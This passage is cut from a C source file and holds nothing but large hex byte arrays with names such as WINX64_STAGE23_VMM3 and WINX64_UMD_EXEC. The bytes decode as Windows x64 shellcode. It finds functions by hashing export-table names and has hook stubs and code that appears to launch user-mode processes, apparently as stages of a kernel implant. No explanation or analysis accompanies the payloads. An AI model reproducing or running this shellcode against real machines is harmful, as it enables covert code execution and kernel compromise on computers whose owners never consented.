0x03, 0xc1, 0x45, 0x8b, 0x48, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03,\n  0xc9, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18, 0x48, 0x03, 0xd9, 0x85,\n  0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x49, 0xff,\n  0xc2, 0x41, 0xc1, 0xcb, 0x0d, 0x0f, 0xb6, 0xc0, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0,\n  0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc1, 0x04, 0x3b, 0xd6, 0x72,\n  0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74,\n  0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,\n  0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n  0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,\n  0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33,\n  0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x01,\n  0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7, 0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45,\n  0xdb, 0x92, 0xf5, 0x45, 0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc,\n  0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57, 0x63, 0x32, 0x5a, 0xc7,\n  0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef,\n  0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97,\n  0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff, 0x92, 0x6d, 0x58, 0x58,\n  0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd,\n  0xfe, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d,\n  0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b,\n  0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc,\n  0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,\n  0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08, 0xf0, 0xd8, 0xff, 0xff,\n  0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6,\n  0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,\n  0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93,\n  0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18,\n  0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xb7, 0x01, 0x00, 0x00, 0x48, 0x8b,\n  0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41,\n  0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30,\n  0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00,\n  0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x33, 0xc9,\n  0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00,\n  0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e,\n  0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x21,\n  0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48, 0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78,\n  0x08, 0x00, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0,\n  0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00,\n  0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b,\n  0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1e, 0x4c, 0x8d, 0x83, 0x20, 0x02,\n  0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x48, 0x8b,\n  0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0xff, 0xc8, 0x49, 0x3b, 0xc6, 0x77,\n  0x55, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03,\n  0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x8b, 0x83, 0x40, 0x03, 0x00,\n  0x00, 0x4c, 0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b,\n  0xd6, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0xd0, 0x48, 0x8b,\n  0x53, 0x48, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb,\n  0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8,\n  0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93,\n  0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48,\n  0x83, 0xf8, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40,\n  0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,\n  0x00, 0x00, 0x33, 0xf6, 0xe9, 0x8c, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b,\n  0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00,\n  0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,\n  0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48,\n  0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3\n};\n\nconst BYTE WINX64_STAGE23_VMM3[] = {\n      0xeb, 0x4e, 0x00, 0x00, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,\n  0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,\n  0x41, 0x57, 0x57, 0x56, 0x53, 0x55, 0x48, 0x83, 0xec, 0x20, 0xff, 0x15, 0xb0, 0xff, 0xff, 0xff,\n  0x48, 0x85, 0xc0, 0x75, 0x5c, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d, 0x98, 0xff, 0xff, 0xff,\n  0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x4b, 0x41, 0x54, 0x48, 0x8d, 0x05, 0x61, 0x00, 0x00, 0x00, 0x50,\n  0x6a, 0x00, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x33, 0xc9, 0x4d, 0x33, 0xc0, 0x48, 0xc7, 0xc2, 0xff,\n  0xff, 0x1f, 0x00, 0x48, 0x8b, 0x0d, 0x6e, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc1, 0x08, 0xff, 0x15,\n  0x74, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x38, 0x48, 0x83, 0xec, 0x38, 0x48, 0x8b, 0x0d, 0x55,\n  0xff, 0xff, 0xff, 0x48, 0x8b, 0x49, 0x08, 0xff, 0x15, 0x63, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4,\n  0x38, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0x5b, 0x5e, 0x5f, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41,\n  0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0xe9, 0x14, 0xff, 0xff, 0xff,\n  0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0xc7, 0xc1, 0x00, 0x10, 0x00, 0x00, 0x48,\n  0xc7, 0xc2, 0xff, 0xff, 0xff, 0x7f, 0xff, 0x15, 0x2c, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0xe8, 0x48,\n  0x33, 0xc0, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xff, 0xc9, 0x49, 0x89, 0x44, 0xcd, 0x00, 0x75, 0xf7,\n  0x49, 0x8b, 0xcd, 0xff, 0x15, 0x17, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xe8, 0xfe, 0xff, 0xff,\n  0x89, 0x41, 0x1c, 0x48, 0x8b, 0x05, 0x0e, 0xff, 0xff, 0xff, 0x49, 0x89, 0x45, 0x08, 0x49, 0x8b,\n  0xcd, 0xe8, 0xa6, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0x48, 0x33, 0xc0, 0xc3, 0xcc, 0xcc,\n  0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n  0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88,\n  0x00, 0x00, 0x00, 0x4c, 0x03, 0xc1, 0x45, 0x8b, 0x48, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03,\n  0xc9, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18, 0x48, 0x03, 0xd9, 0x85,\n  0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x49, 0xff,\n  0xc2, 0x41, 0xc1, 0xcb, 0x0d, 0x0f, 0xb6, 0xc0, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0,\n  0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc1, 0x04, 0x3b, 0xd6, 0x72,\n  0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74,\n  0x24, 0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,\n  0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48,\n  0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55,\n  0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48, 0xb8, 0x77, 0x33, 0x33,\n  0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x01,\n  0x48, 0x8d, 0x75, 0x03, 0x48, 0x8b, 0xd9, 0xc7, 0x45, 0xd7, 0x1f, 0x9d, 0x48, 0x9d, 0xc7, 0x45,\n  0xdb, 0x92, 0xf5, 0x45, 0x13, 0x4c, 0x8d, 0xb1, 0x58, 0x03, 0x00, 0x00, 0xc7, 0x45, 0xdf, 0xbc,\n  0x1e, 0x36, 0x9f, 0xbf, 0x0b, 0x00, 0x00, 0x00, 0xc7, 0x45, 0xe3, 0x57, 0x63, 0x32, 0x5a, 0xc7,\n  0x45, 0xe7, 0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xeb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0xef,\n  0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xf3, 0x02, 0x6b, 0xa0, 0x94, 0xc7, 0x45, 0xf7, 0x9b, 0x97,\n  0x64, 0xcf, 0xc7, 0x45, 0xfb, 0x89, 0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xff, 0x92, 0x6d, 0x58, 0x58,\n  0x48, 0x8b, 0x4b, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8, 0xe8, 0xbd,\n  0xfe, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc7, 0xff, 0x75, 0xe5, 0x48, 0x8b, 0xcb, 0x4c, 0x8d,\n  0x9c, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b,\n  0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xe9, 0x01, 0x00, 0x00, 0x00, 0xcc,\n  0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,\n  0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0xc7, 0x40, 0x08, 0xf0, 0xd8, 0xff, 0xff,\n  0xb9, 0x00, 0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6,\n  0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0,\n  0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93,\n  0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18,\n  0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xb7, 0x01, 0x00, 0x00, 0x48, 0x8b,\n  0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41,\n  0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30,\n  0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00,\n  0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x33, 0xc9,\n  0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00,\n  0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4e,\n  0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x21,\n  0x43, 0x38, 0xeb, 0x3a, 0x45, 0x33, 0xc0, 0x48, 0x83, 0x38, 0x00, 0x75, 0x07, 0x48, 0x83, 0x78,\n  0x08, 0x00, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0, 0x10, 0xeb, 0xea, 0x49, 0xc1, 0xe0,\n  0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00,\n  0x00, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b,\n  0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x1e, 0x4c, 0x8d, 0x83, 0x20, 0x02,\n  0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0xd7, 0x48, 0x8b,\n  0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0xff, 0xc8, 0x49, 0x3b, 0xc6, 0x77,\n  0x55, 0x48, 0x8b, 0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28, 0x03,\n  0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74, 0x37, 0x48, 0x8b, 0x83, 0x40, 0x03, 0x00,\n  0x00, 0x4c, 0x8b, 0x43, 0x48, 0x4c, 0x39, 0xb3, 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x08, 0x48, 0x8b,\n  0xd6, 0x48, 0x8b, 0xcf, 0xeb, 0x06, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xce, 0xff, 0xd0, 0x48, 0x8b,\n  0x53, 0x48, 0x48, 0x8b, 0xce, 0xff, 0x93, 0x30, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0xeb,\n  0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x83, 0xf8,\n  0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0x53, 0x40, 0xff, 0x93,\n  0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48,\n  0x83, 0xf8, 0x07, 0x75, 0x15, 0x4c, 0x8b, 0x43, 0x48, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0x4b, 0x40,\n  0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00,\n  0x00, 0x00, 0x33, 0xf6, 0xe9, 0x8c, 0xfe, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b,\n  0xcf, 0x48, 0x89, 0x43, 0x30, 0xff, 0x93, 0x08, 0x03, 0x00, 0x00, 0x48, 0x83, 0x63, 0x20, 0x00,\n  0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,\n  0x00, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b, 0x5c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48,\n  0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3\n};\n\nconst BYTE WINX64_UMD_EXEC[] = {\n  0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xeb, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,\n  0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8b, 0x0d,\n  0xe4, 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x14, 0x48, 0x8b, 0x0d, 0xd7, 0xff, 0xff,\n  0xff, 0x48, 0x83, 0xec, 0x30, 0xe8, 0xba, 0x02, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x30, 0x58, 0x41,\n  0x59, 0x41, 0x58, 0x5a, 0x59, 0xff, 0x25, 0xc5, 0xff, 0xff, 0xff, 0xcc, 0x40, 0x53, 0x48, 0x83,\n  0xec, 0x20, 0x48, 0x8b, 0x41, 0x18, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, 0x08, 0x38, 0x4b,\n  0x02, 0x74, 0x1f, 0x88, 0x4b, 0x02, 0x48, 0x8b, 0x4b, 0x28, 0xff, 0x53, 0x48, 0x48, 0x8b, 0x4b,\n  0x20, 0xff, 0x53, 0x48, 0x48, 0x8b, 0x4b, 0x30, 0xff, 0x53, 0x48, 0x48, 0x8b, 0x4b, 0x38, 0xff,\n  0x53, 0x48, 0x48, 0x8b, 0x43, 0x10, 0x48, 0xb9, 0xac, 0xda, 0x37, 0x13, 0x00, 0x22, 0xda, 0xfe,\n  0x48, 0x89, 0x08, 0x48, 0x8b, 0x43, 0x18, 0x48, 0x89, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3,\n  0x40, 0x53, 0x48, 0x83, 0xec, 0x70, 0xba, 0x68, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x8d, 0x4a,\n  0xd8, 0xff, 0x93, 0x88, 0x00, 0x00, 0x00, 0xc7, 0x00, 0x68, 0x00, 0x00, 0x00, 0xc7, 0x40, 0x3c,\n  0x00, 0x01, 0x00, 0x00, 0x80, 0x7b, 0x01, 0x00, 0x74, 0x18, 0x48, 0x8b, 0x4b, 0x30, 0x48, 0x89,\n  0x48, 0x58, 0x48, 0x8b, 0x4b, 0x38, 0x48, 0x89, 0x48, 0x50, 0x48, 0x8b, 0x4b, 0x30, 0x48, 0x89,\n  0x48, 0x60, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x4c, 0x24, 0x48, 0x48,\n  0x8d, 0x93, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x83,\n  0x64, 0x24, 0x38, 0x00, 0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x8b, 0x43, 0x04, 0x89,\n  0x44, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, 0x53, 0x58, 0x85, 0xc0,\n  0x74, 0x1c, 0x80, 0x7b, 0x01, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x4b, 0x40, 0x74,\n  0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, 0x53, 0x48, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83,\n  0xc4, 0x70, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xc1, 0x48, 0x8d, 0x54, 0x24, 0x30,\n  0x48, 0x8b, 0x49, 0x40, 0xff, 0x50, 0x68, 0x33, 0xc9, 0x85, 0xc0, 0x74, 0x0f, 0x81, 0x7c, 0x24,\n  0x30, 0x03, 0x01, 0x00, 0x00, 0x75, 0x05, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x8b, 0xc1, 0x48, 0x83,\n  0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x56, 0x48, 0x83, 0xec, 0x30, 0x80, 0x79,\n  0x02, 0x00, 0x48, 0x8b, 0xd9, 0x0f, 0x84, 0xae, 0x00, 0x00, 0x00, 0xbe, 0x00, 0x08, 0x00, 0x00,\n  0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84, 0x99, 0x00, 0x00, 0x00,\n  0x48, 0x8b, 0x4b, 0x18, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, 0x53, 0x70, 0x44, 0x8b,\n  0x49, 0x08, 0x48, 0x8d, 0x51, 0x68, 0x48, 0x8b, 0x4b, 0x28, 0x41, 0x81, 0xe1, 0xff, 0x07, 0x00,\n  0x00, 0x41, 0x8b, 0xc1, 0x48, 0x03, 0xd0, 0x48, 0x8b, 0x43, 0x10, 0x44, 0x8b, 0x40, 0x10, 0x41,\n  0x81, 0xe0, 0xff, 0x07, 0x00, 0x00, 0x45, 0x3b, 0xc1, 0x77, 0x08, 0x44, 0x8b, 0xc6, 0x45, 0x2b,\n  0xc1, 0xeb, 0x03, 0x45, 0x33, 0xc0, 0x4c, 0x8d, 0x4c, 0x24, 0x40, 0x41, 0xff, 0xd2, 0x85, 0xc0,\n  0x74, 0x47, 0x48, 0x8b, 0x4b, 0x18, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x01, 0x41, 0x08, 0xeb, 0x1a,\n  0x80, 0x7b, 0x02, 0x00, 0x74, 0x33, 0x48, 0x8b, 0xcb, 0xe8, 0x36, 0xff, 0xff, 0xff, 0x85, 0xc0,\n  0x74, 0x1d, 0xb9, 0x0a, 0x00, 0x00, 0x00, 0xff, 0x53, 0x78, 0x48, 0x8b, 0x4b, 0x18, 0x48, 0x8b,\n  0x43, 0x10, 0x48, 0x8b, 0x51, 0x08, 0x48, 0x2b, 0x50, 0x10, 0x48, 0x3b, 0xd6, 0x73, 0xd1, 0x80,\n  0x7b, 0x02, 0x00, 0x0f, 0x85, 0x57, 0xff, 0xff, 0xff, 0x48, 